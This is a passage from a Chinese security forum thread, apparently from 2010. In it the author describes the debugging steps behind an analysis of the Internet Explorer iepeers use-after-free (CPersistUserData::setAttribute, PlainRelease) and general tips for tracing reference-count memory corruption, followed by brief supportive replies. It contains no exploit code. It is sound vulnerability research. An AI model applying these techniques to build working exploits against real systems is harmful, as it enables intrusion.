2. 通过让程序一次又一次地断在jscript!IDispatchExGetDispID,我欣喜地找到内存破坏前后的更多信息,即前面提到的原来是COmWindowProxy::s_apfnIDispatchEx后来变成CWindow::s_apfnIHTMLPrivateWindow3导致了异常,更重要的是让我发现了程序第一次在jscript!IDispatchExGetDispID断下时它所操作的对象正是最后因为被破坏导致问题的那个对象,这样我就找到了一个未被破坏的初始点
3. 接下来就是利用硬件写入断点等一步步逼近的问题了,就像我前面说的,在第一次jscript!IDispatchExGetDispID断下之后,我找到了将被修改的类对象,我在原来为COmWindowProxy::s_apfnIDispatchEx的地方下硬件写入断点,断点断下便直接找到了修改它的位置,也即CreateTearoffThunk,这时再用栈回溯,CPersistUserData::setAttribute就蹦出来了。
4. 通过对CreateTearoffThunk的观察,我发现它是在mshtml.dll中自己保存一个立即可用的缓冲区的指针(参见我前面分析的第8点CreateTearoffThunk对InterlockedExchange的调用中的offset lpMem),通过IDA中这个指针的交叉参考,我发现了mshtml!PlainRelease正是将访问计数减为0的类对象指针挂到这里的函数(参见前面分析第7点),这样就找到了把类对象访问计数减少和“释放”的函数,从而也证实这个重用是这两个函数内部之间的“协作”,而不是走一般的直接从堆中获取或释放回堆中的路径。
5. 通过对mshtml!PlainRelease下条件断点,我捕捉到它把类对象访问计数减为0并“释放”的时刻,此时一个栈回溯,CPersistUserData::setAttribute又蹦出来了。
6. 最终确定CPersistUserData::setAttribute的重要性并对其调试,从而弄清细节。

通过这两次对内存破坏型漏洞的分析调试(这一次和前一次的IE极光漏洞),我个人认为还是有一些技巧的。
首先关键的是弄清楚被破坏的内存原来是保存什么东西的。
像这两次漏洞,被破坏的内存都是类对象的内容,所以首先要弄清楚,它到底原来是哪个类。比较简单的情形是对于有虚函数表的类,只要看它的虚函数表,就可以大致确定它是哪一个类。应该说这次比上次要容易一些,这次通过那个TearoffThunk7函数所在的表很容易找到相应的函数表位置,而上一次IE极光漏洞,内存破坏后连原来的虚函数表指针都没了,从而我当时一下子不知道它就是CTreeNode。
找到虚函数表位置或者知道它是哪个类,目的是找到它的构造函数、析构函数等等,构造函数本身就是一个该内存刚刚构建的初始点,而由于这些类的使用访问计数来标记和释放的机制,析构函数或者是减少访问计数的函数,则往往是导致这块内存被“提前释放”的直接执行者,找到他们也就找到了操纵访问计数的监测点,在此处断下后用栈回溯往往就可以窥探到内存破坏发生的过程和因果链。
对于因为访问计数的问题被提前释放,一般是某些该增加访问计数的地方没有增加或某些操作在程序没有预料到的情况下减少了访问计数(或者说在不该释放的地方释放了)。这次的iepeers漏洞属于后者,相对容易找一些,如我所说断到PlainRelease后一个栈回溯。极光漏洞则属于前者,相比之下更难找,因为动态调试中我们可以通过断点等手段捕捉到程序“做了什么”,但是想要知道它“没做什么”总是更难一点,更多地依赖于建立在代码理解基础上的推测,并用静态分析来证实推测了。这也是我在IE极光漏洞的分析中把那几篇参考文献放在前面并强调那不是我自己独立提出的思路的原因,因为没有那几篇文章对原理的描述,以我对IE浏览器和脚本语言架构完全不熟的情况要从原理上弄清楚基本上不太可能。
以上我想就是对付这类与类对象的引用和释放相关的内存破坏漏洞的一点经验了。
2010-3-13 03:45
0
雪    币: 220
活跃值: (12)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
22
不错 不错   MARK
2010-3-13 09:47
0
雪    币: 90
活跃值: (91)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
小聪牛牛好棒啊
2010-3-13 14:20
0
雪    币: 189
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
楼猪好厉害啊!加油!
2010-3-13 17:35
0
雪    币: 284
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
完全看不懂,支持小聪大牛
2010-3-13 19:27
0
游客
登录 | 注册 方可回帖
返回
//